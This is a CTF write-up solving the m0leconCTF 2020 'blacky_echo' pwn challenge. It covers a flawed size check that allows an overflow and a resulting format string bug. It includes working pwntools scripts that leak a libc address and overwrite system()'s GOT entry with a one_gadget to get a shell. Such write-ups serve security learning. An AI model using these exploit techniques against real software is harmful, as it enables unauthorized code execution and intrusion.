Select Page

This is a PWN challenge (149 pt, 33 solves).

Those functions are many, and all of them can be used!
nc challs.m0lecon.it 9011
Author: @madt1m


We were given the binary file:

peilin@PWN:~/m0leconctf-2020/blacky-echo$ file blacky_echo
blacky_echo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=94e45c352a669adccb3d8fb7a0f7d164888fbbb1, not stripped
peilin@PWN:~/m0leconctf-2020/blacky-echo$ checksec blacky_echo
[*] ‘/home/user/ctf/m0leconctf-2020/blacky-echo/blacky_echo’
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Sample Usage:

peilin@PWN:~/m0leconctf-2020/blacky-echo$ ./blacky_echo
Welcome to this challenge!
Size: 12
Input: ECHO->hello
hello

An invalid size or input format will cause the program to complain:

peilin@PWN:~/m0leconctf-2020/blacky-echo$ ./blacky_echo
Welcome to this challenge!
Size: 0
[!] Error: Length errQ�n��If you are reading this, you’ve lost!

The error message contains some weird characters, which seems like some kind of info leak.

The program turned out to be pretty simple:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  initialize();
  return go(*(_QWORD *)&argc, argv);
}

initialize() does some set up works:

unsigned int initialize()
{
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  signal(14, handler);
  system("/bin/echo \"Welcome to this challenge!\"");
  return alarm(0xFu);
}

Wow, printing out welcome message using system("/bin/echo")…Interesting.

Then, here we go():

unsigned __int64 go()
{
  int sz; // [rsp-10044h] [rbp-10044h]
  __int64 input; // [rsp-10030h] [rbp-10030h]
  __int64 err_msg; // [rsp-30h] [rbp-30h]
  unsigned __int64 canary; // [rsp-8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  printf("Size: ");
  sz = get_int();
  if ( !(_WORD)sz || (unsigned __int16)sz > 0x3Fu )
  {
    memcpy(&err_msg, "Length err", 0xAuLL);
    print_error(&err_msg, "Length err");
  }
  printf("Input: ");
  fgets((char *)&input, sz, stdin);
  if ( strncmp((const char *)&input, "ECHO->", 6uLL) )
  {
    memcpy(&err_msg, "Format err", 0xAuLL);
    print_error(&err_msg, "Format err");
  }
  puts((const char *)&input + 6);
  return __readfsqword(0x28u) ^ canary;
}

The way it checks sz is wrong on line 11: Since it only checks the lower 2 bytes of sz, we can put in something like 0x1003f or 0x2003f, in order to input as long as we want.

Now what? We can’t overwrite the return address (canary is enabled), but now we can overflow into the error message buffer. The program uses memcpy() to copy the message ("Length err" or "Format err") into err_msg, without a terminating NULL byte – which makes print_error() a vulnerable function:

void __fastcall __noreturn print_error(__int64 err_msg)
{
  __int64 tmp_buf; // [rsp-90h] [rbp-90h]
  unsigned __int64 canary; // [rsp-8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  memset(&tmp_buf, 0, 0x80uLL);
  snprintf((char *)&tmp_buf, 0x32uLL, "[!] Error: %s", err_msg);
  fprintf(stderr, (const char *)&tmp_buf);
  system("/bin/echo \"If you are reading this, you've lost!\"");
  exit(1);
}

snprintf() “copies” at most 50 bytes from err_msg into tmp_buf. Since memcpy() did not put a NULL byte at the end of the sentence, snprintf() keeps copying whatever is found in err_msg (which is under our control!). Then, the entire tmp_buf is interpreted as a format string by fprintf(). Basically, by overflowing input into err_msg, we can carry out a format string attack.


Let’s see what happens if we put in a whole bunch of As:

[!] Error: Format errAAAAAAAAAAAAAAAAAAAAAAAAAAAAIf you are reading this, you’ve lost!

Cool. We have 28 bytes for the attack.


The plan is to hijack the GOT. What happens after the vulnerable fprintf()?:

...
  fprintf(stderr, (const char *)&tmp_buf);
  system("/bin/echo \"If you are reading this, you've lost!\"");
  exit(1);
}

system() seems like a good target. The program uses lazy binding, but luckily system() was already called (therefore resolved) once in initialize(). Let’s partially overwrite it to a libc one_gadget.

…But we don’t know the libc version yet! I exploited the format string vulnerability to leak the address of fprintf(). Here’s the script:

#!/usr/bin/env python
from pwn import *

SZ = 0x2003f
e = ELF("./blacky_echo", checksec=False)

if __name__ == "__main__":
    p = remote("challs.m0lecon.it", 9011)
        
    p.recvuntil("Size: ")
    p.sendline(str(SZ).encode())

    p.recvuntil("Input: ")

    payload  = b"A" * 0x1000d
    payload += b"%11$s"
    payload += b"B" * 3
    payload += p64(e.got["fprintf"])

    p.sendline(payload)

    leak = p.recvuntil("If you are").split(b"Error: Format err")[1][:-10]
    success("fprintf address: " + hex(u64(leak[3:].split(b"BBB")[0].ljust(8, b"\x00"))))
    p.close()
peilin@PWN:~/m0leconctf-2020/blacky-echo$ python3 leak.py
[+] Opening connection to challs.m0lecon.it on port 9011: Done
[+] fprintf address: 0x7f59cf578dc0
[*] Closed connection to challs.m0lecon.it port 9011

libc.blukat.me told me the libc version was libc6_2.27-3ubuntu1_amd64, and system() is at offset 0x04f440.

Now let’s find some one_gadgets:

peilin@PWN:~/m0leconctf-2020/blacky-echo$ one_gadget libc6_2.27-3ubuntu1_amd64.so
0x4f2c5 execve(“/bin/sh”, rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve(“/bin/sh”, rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve(“/bin/sh”, rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

Cross out the third one, since 0x10a38c is too far from system() (0x4f440); We can’t use the first one either because of the %rsp constraint (God bless movaps)…

Now I really hope the second one works! 🙂

ASLR does not randomize the lowest 3 nibbles of the address. By changing the lowest two bytes of system() (0x*440) into, say, 0xf322 basically I’m guessing the fourth nibble, with a success rate of 1/16.

Here’s the full exp:

#!/usr/bin/env python
from pwn import *

context.log_level = "DEBUG"

PATCH = False
LOCAL = False
DEBUG = False

SZ = 0x2003f
e = ELF("./blacky_echo", checksec=False)

"""
libc version:       libc6_2.27-3ubuntu1_amd64
one_gadget offsets: 0x4f322
system() offset:    0x4f440
"""

if __name__ == "__main__":
    if PATCH:
        os.system("patchelf --set-interpreter /home/user/libc-ld.so/libc-2.27/64bit/ld.so.2 blacky_echo" )
        os.system("patchelf --set-rpath /home/user/libc-ld.so/libc-2.27/64bit/ blacky_echo")

    if LOCAL:
        p = process(e.path)
    else:
        p = remote("challs.m0lecon.it", 9011)
        DEBUG = False

    if DEBUG:
        context.terminal = ['tmux', 'splitw', '-h']
        gdb.attach(p, """
                set follow-fork-mode parent
                handle SIGALRM ignore
                """)
        
    p.recvuntil("Size: ")
    p.sendline(str(SZ).encode())

    p.recvuntil("Input: ")

    payload  = b"A" * 0x1000a
    payload += b"%62221c%12$hn"
    payload += b"B" * 6
    payload += p64(e.got["system"])

    p.sendline(payload)
    p.interactive()

You may need to run the script above a lot of times in order to get a shell. Interestingly, you will receive some debugging information from the server like /home/pwn/redir.sh: line 2: 10155 Illegal instruction ./chall, or /home/pwn/redir.sh: line 2: 10121 Segmentation fault ./chall

$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ptm{gu3ss1ng_l1bc_h3re_w4s_t0t4lly_0k_m4n}$

Aww, but I didn’t gu3ss the l1bc, m4n.